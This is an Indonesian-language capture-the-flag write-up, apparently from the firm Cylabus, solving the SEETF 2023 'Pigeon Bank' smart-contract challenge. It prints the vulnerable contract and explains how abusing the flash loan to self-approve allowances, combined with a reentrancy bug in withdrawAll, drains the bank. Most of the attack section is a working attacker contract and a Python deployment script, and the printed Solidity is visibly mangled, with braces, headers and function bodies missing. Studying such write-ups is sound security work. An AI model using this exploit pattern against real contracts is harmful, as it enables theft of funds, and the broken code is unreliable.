Di era digital yang terus berkembang, dunia blockchain menawarkan peluang yang tak terbatas, namun juga menyimpan risiko yang sering terabaikan. Kita akan menjelajahi dunia Ethereum blockchain, sebuah arena dimana inovasi dan kerentanan bertemu, khususnya melalui teknik eksploitasi yang dikenal sebagai Reentrancy Attack. Mengambil contoh dari soal yang diberikan pada SEETF 2023, kita akan mengungkap celah keamanan dalam smart contract bernama Pigeon Bank. Pembahasan ini bukan hanya tentang mengidentifikasi masalah, tetapi juga tentang memahami bagaimana eksploitasi ini bekerja dan apa yang menjadikan smart contract tertentu rentan terhadap serangan semacam ini. Mari kita bersama-sama mengungkap lapisan demi lapisan dari dunia blockchain yang sering tidak terlihat ini, dan mempelajari bagaimana kita dapat melindungi diri dari risiko yang tersembunyi di balik kemajuan teknologi.
Dalam tantangan ini, kami diberikan sebuah file zip yang berisi tiga file smart contract. Anda dapat mengunduh file tersebut di tautan ini. Mari kita lihat isinya satu per satu.
// SPDX-License-Identifier: UNLICENSED
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
contract PETH is Ownable {
using Address for address;
using Address for address payable;
string public constant name = "Pigeon ETH";
string public constant symbol = "PETH";
uint8 public constant decimals = 18;
event Approval(address indexed src, address indexed dst, uint256 amt);
event Transfer(address indexed src, address indexed dst, uint256 amt);
event Deposit(address indexed dst, uint256 amt);
event Withdrawal(address indexed src, uint256 amt);
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
receive() external payable {
revert("PETH: Do not send ETH directly");
function deposit(address _userAddress) public payable onlyOwner {
_mint(_userAddress, msg.value);
emit Deposit(_userAddress, msg.value);
function withdraw(address _userAddress, uint256 _wad) public onlyOwner {
payable(_userAddress).sendValue(_wad);
_burn(_userAddress, _wad);
// require(success, "SEETH: withdraw failed");
emit Withdrawal(_userAddress, _wad);
function withdrawAll(address _userAddress) public onlyOwner {
payable(_userAddress).sendValue(balanceOf[_userAddress]);
// require(success, "SEETH: withdraw failed");
emit Withdrawal(_userAddress, balanceOf[_userAddress]);
function totalSupply() public view returns (uint256) {
return address(this).balance;
function approve(address guy, uint256 wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
function transfer(address dst, uint256 wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
function transferFrom(address src, address dst, uint256 wad) public returns (bool) {
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != type(uint256).max) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
emit Transfer(src, dst, wad);
function flashLoan(address _userAddress, uint256 _wad, bytes calldata data) public onlyOwner {
require(_wad <= address(this).balance, "PETH: wad exceeds balance");
require(Address.isContract(_userAddress), "PETH: Borrower must be a contract");
uint256 userBalanceBefore = address(this).balance;
// @dev Send Ether to borrower (Borrower must implement receive() function)
// (bool success, bytes memory returndata) = target.call{value: value}(data);
Address.functionCallWithValue(_userAddress, data, _wad);
uint256 userBalanceAfter = address(this).balance;
require(userBalanceAfter >= userBalanceBefore, "PETH: You did not return my Ether!");
// @dev if user gave me more Ether, refund it
if (userBalanceAfter > userBalanceBefore) {
uint256 refund = userBalanceAfter - userBalanceBefore;
payable(_userAddress).sendValue(refund);
// ========== INTERNAL FUNCTION ==========
function _mint(address dst, uint256 wad) internal {
function _burn(address src, uint256 wad) internal {
require(balanceOf[src] >= wad);
function _burnAll(address _userAddress) internal {
_burn(_userAddress, balanceOf[_userAddress]);
Kontrak PETH.sol ini berusaha untuk mengimplementasikan sebuah koin crypto. Saat mengamati secara sekilas, salah satu hal yang menarik adalah adanya fitur flashLoan. Hal lain yang perlu diperhatikan adalah beberapa fungsi hanya dapat dipanggil oleh pemilik kontrak.
Kontrak PigeonBank.sol adalah pemilik dari kontrak PETH (karena kontrak ini men-deploy kontrak PETH dalam constructor-nya). Satu hal yang menarik adalah semua fungsi diatur menjadi nonReentrant, yang digunakan untuk mencegah reentrancy attack. Reentrancy Attack adalah jenis kerentanan dalam smart contract, terutama yang terdapat pada blockchain Ethereum. Kerentanan ini terjadi ketika fungsi dalam smart contract dapat dipanggil berulang kali, secara tak terduga, sebelum fungsi pertama selesai dijalankan. Pada umumnya, hal ini memungkinkan penyerang untuk menarik aset atau dana berulang kali, lebih dari yang seharusnya diperbolehkan jika terdapat kesalahan pada implementasi smart contract.
Kontrak Setup.sol adalah kontrak yang akan membantu mendemonstrasikan kerentanan dalam smart contract yang diberikan. Berdasarkan kondisi yang diterapkan pada fungsi isSolved (fungsi yang dipakai pada studi kasus ini untuk melakukan pengecekan keberhasilan eksploitasi), kita perlu menguras saldo kontrak PETH dan membuat saldo msg.sender kita menjadi lebih dari atau sama dengan 2500 ether.
Pertama-tama, mari kita periksa fitur flashLoan.
function flashLoan(address _userAddress, uint256 _wad, bytes calldata data) public onlyOwner {
require(_wad <= address(this).balance, "PETH: wad exceeds balance");
require(Address.isContract(_userAddress), "PETH: Borrower must be a contract");
uint256 userBalanceBefore = address(this).balance;
// @dev Send Ether to borrower (Borrower must implement receive() function)
// (bool success, bytes memory returndata) = target.call{value: value}(data);
Address.functionCallWithValue(_userAddress, data, _wad);
uint256 userBalanceAfter = address(this).balance;
require(userBalanceAfter >= userBalanceBefore, "PETH: You did not return my Ether!");
// @dev if user gave me more Ether, refund it
if (userBalanceAfter > userBalanceBefore) {
uint256 refund = userBalanceAfter - userBalanceBefore;
payable(_userAddress).sendValue(refund);
Kita dapat mengamati bahwa kita bisa menjadikan kontrak PETH sebagai parameter _userAddress, dan kemudian mengatur nilai _wad menjadi 0. Dengan melakukan ini, kita bisa membuat kontrak PETH memanggil salah satu fungsi mereka sendiri (melalui Address.functionCallWithValue). Dalam mencari fungsi yang tidak memiliki modifikator onlyOwner, ada satu fungsi menarik, yaitu approve.
function approve(address guy, uint256 wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
Ide utamanya adalah jika kita memanggil flashLoan dan mengatur _userAddress ke kontrak PETH itu sendiri, lalu mengatur calldata untuk memanggil approve(), kita sebenarnya bisa memaksa PETH untuk memberikan izin kepada alamat yang kita inginkan, sehingga alamat tersebut bisa menghabiskan uang PETH.
Namun, perhatikan bahwa PETH sebenarnya tidak memiliki saldo. Jadi, kita perlu mencari bug lain.
Bug lainnya adalah bug reentrancy di dalam metode withdrawAll.
function withdrawAll(address _userAddress) public onlyOwner {
payable(_userAddress).sendValue(balanceOf[_userAddress]);
// require(success, "SEETH: withdraw failed");
emit Withdrawal(_userAddress, balanceOf[_userAddress]);
function _burnAll(address _userAddress) internal {
_burn(_userAddress, balanceOf[_userAddress]);
Ada masalah dengan metode ini. Fungsi ini mengirimkan ether ke pengguna sebelum membakar koin PETH. Ini rentan terhadap reentrancy attack. Ide skenarionya seperti di bawah ini:
- Kontrak memanggil
deposit x ether.
- Kontrak memanggil
withdrawAll.
- Kontrak
PETH mengirimkan ether lebih dulu.
- Kontrak memiliki metode
receive(), yang akan dipicu saat menerima uang yang dikirim oleh PETH.
- Kontrak memanggil
transfer() untuk mengirimkan nilai yang baru diterima ke PETH.
- Sekarang, setelah panggilan ini, kondisinya akan menjadi:
- Saldo koin
PETH bertambah sebesar x ether.
- Namun, kontrak masih menerima x ether.
Dengan mengulangi skenario di atas, pada suatu titik, saldo koin PETH akan menjadi 2500 ether. Dan karena flashLoan yang kita panggil sebelumnya sudah memperbolehkan kita untuk menghabiskan saldo koin PETH, kita bisa langsung mentransfer semua saldo koin PETH ke kita dan menariknya untuk menguras bank.
Berikut adalah detail eksploitasi dari skenario yang kami jabarkan diatas. Pertama, kami akan membuat smart contract yang akan kami deploy untuk melakukan eksploitasi.
// SPDX-License-Identifier: UNLICENSED
import "./PigeonBank.sol";
constructor(address _peth, address _bank) payable {
peth = PETH(payable(_peth));
bank = PigeonBank(payable(_bank));
function setAllowance() public {
bank.flashLoan(address(peth), abi.encodeCall(
(address(this), type(uint256).max)
function attack() public payable {
for (uint i = 0; i < 278; i++) {
bank.deposit{value: 9 ether}();
peth.transferFrom(address(peth), address(this), 2500 ether);
(bool success, ) = msg.sender.call{value: 2500 ether}("");
require(success, "Address: unable to send value, recipient may have reverted");
receive() external payable {
peth.transfer(address(peth), msg.value);
Berikut adalah script python yang kami buat untuk menjalankan smart contract diatas.
from solcx import compile_files
print('Launch instance...')
r.sendlineafter(b'action? ', b'1')
uuid = r.recvline().strip()
r.recvuntil(b'rpc endpoint: ')
rpc_endpoint = r.recvline().strip()
r.recvuntil(b'private key: ')
private_key = r.recvline().strip()
r.recvuntil(b'setup contract: ')
setup_address = r.recvline().strip()
print(f'rpc_endpoint = \'{rpc_endpoint.decode()}\'')
print(f'private_key = \'{private_key.decode()}\'')
print(f'setup_address = \'{setup_address.decode()}\'')
return uuid, rpc_endpoint.decode(), private_key.decode(), setup_address.decode()
print('Kill instance...')
r.sendlineafter(b'action? ', b'2')
r.sendlineafter(b'uuid please: ', uuid)
r.sendlineafter(b'action? ', b'3')
r.sendlineafter(b'uuid please: ', uuid)
# uuid = b'0ffdc839-b96f-4208-b6e7-e193af621b2a'
# rpc_endpoint = 'http://win.the.seetf.sg:8549/0ffdc839-b96f-4208-b6e7-e193af621b2a'
# private_key = '0xcf8daf0d42de5d51e8b32f842810a236f65024a85d02ad2188971a740b9c0c03'
# setup_address = '0x8b75Fad9f3bF4384c545FF4D00789b4b804bFfe8'
uuid, rpc_endpoint, private_key, setup_address = launch_instance()
w3 = Web3(Web3.HTTPProvider(rpc_endpoint))
player = w3.eth.account.from_key(private_key)
info(f'Player address: {player.address}, balance: {w3.eth.get_balance(player.address)}')
setup_abi = [{"inputs":[],"stateMutability":"payable","type":"constructor"},{"inputs":[],"name":"isSolved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"peth","outputs":[{"internalType":"contract PETH","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pigeonBank","outputs":[{"internalType":"contract PigeonBank","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
setup_contract = w3.eth.contract(address=setup_address, abi=setup_abi)
selector = w3.keccak(text='peth()')[:4]
peth_address = w3.to_checksum_address(output[12:].hex())
info(f'{peth_address = }, balance: {w3.eth.get_balance(peth_address)}')
selector = w3.keccak(text='pigeonBank()')[:4]
pigeon_bank_address = w3.to_checksum_address(output[12:].hex())
info(f'{pigeon_bank_address = }, balance: {w3.eth.get_balance(pigeon_bank_address)}')
# Deploy attacker contract
compiled_src = compile_files(['Attacker.sol'], output_values=['abi', 'bin'], import_remappings=['@openzeppelin/=../lib/openzeppelin-contracts/'])
compiled_attacker = compiled_src['Attacker.sol:Attacker']
attacker_contract = w3.eth.contract(abi=compiled_attacker['abi'], bytecode=compiled_attacker['bin'])
transaction = attacker_contract.constructor(peth_address, pigeon_bank_address).build_transaction({
'nonce': w3.eth.get_transaction_count(player.address),
'gasPrice': w3.eth.gas_price,
"value": w3.to_wei(9.5, 'ether'),
'chainId': w3.eth.chain_id
signed_transaction = w3.eth.account.sign_transaction(transaction, private_key=private_key)
tx_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
info(f'tx hash: {tx_hash.hex()}')
rcpt = w3.eth.get_transaction_receipt(tx_hash)
attacker_address = w3.to_checksum_address(rcpt['contractAddress'])
attacker_contract = w3.eth.contract(address=attacker_address, abi=compiled_attacker['abi'])
info(f'{attacker_address = }, balance: {w3.eth.get_balance(attacker_address)}')
transaction = attacker_contract.functions.setAllowance().build_transaction({
'nonce': w3.eth.get_transaction_count(player.address),
'gasPrice': w3.eth.gas_price,
'chainId': w3.eth.chain_id
signed_transaction = w3.eth.account.sign_transaction(transaction, private_key=private_key)
tx_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
info(f'tx hash: {tx_hash.hex()}')
transaction = attacker_contract.functions.attack().build_transaction({
'nonce': w3.eth.get_transaction_count(player.address),
'gasPrice': w3.eth.gas_price,
'chainId': w3.eth.chain_id
signed_transaction = w3.eth.account.sign_transaction(transaction, private_key=private_key)
tx_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
info(f'tx hash: {tx_hash.hex()}')
info(f'player balance: {w3.eth.get_balance(player.address)}')
Kita dapat mengambil beberapa pelajaran penting dari studi kasus diatas. Pertama, analisis mendalam terhadap fitur flashLoan dan kerentanan reentrancy pada kontrak PETH menunjukkan betapa pentingnya pemahaman yang cermat tentang aspek teknis dan keamanan dalam blockchain. Latihan ini bukan hanya mengasah keterampilan teknis, tetapi juga memperluas wawasan kita tentang potensi kerentanan yang bisa dimanfaatkan oleh penyerang.
Pengalaman ini menggarisbawahi pentingnya kewaspadaan dan inovasi terus-menerus dalam upaya memastikan keamanan sistem blockchain. Kita diajak untuk tidak hanya bereaksi terhadap ancaman yang ada, tetapi juga secara proaktif mengidentifikasi dan mengatasi celah keamanan yang mungkin belum terungkap.
Di Cylabus, kami melihat tantangan ini tidak hanya sebagai sebuah ujian keamanan siber, tetapi juga sebagai kesempatan berharga untuk belajar, berkembang, dan memberikan kontribusi signifikan terhadap pembangunan ekosistem digital yang lebih aman. Pengalaman dan pengetahuan yang diperoleh melalui analisis kasus ini menjadi dasar yang kokoh untuk membangun strategi keamanan siber yang lebih tangguh di masa depan.
Selain itu, jika Anda membutuhkan konsultasi terkait keamanan siber, blockchain, atau AI, jangan ragu untuk menghubungi kami di Cylabus. Dengan tim ahli yang berpengalaman, kami siap memberikan solusi dan panduan terbaik untuk memastikan keamanan digital Anda dan membantu Anda berinovasi di era teknologi yang berkembang pesat ini.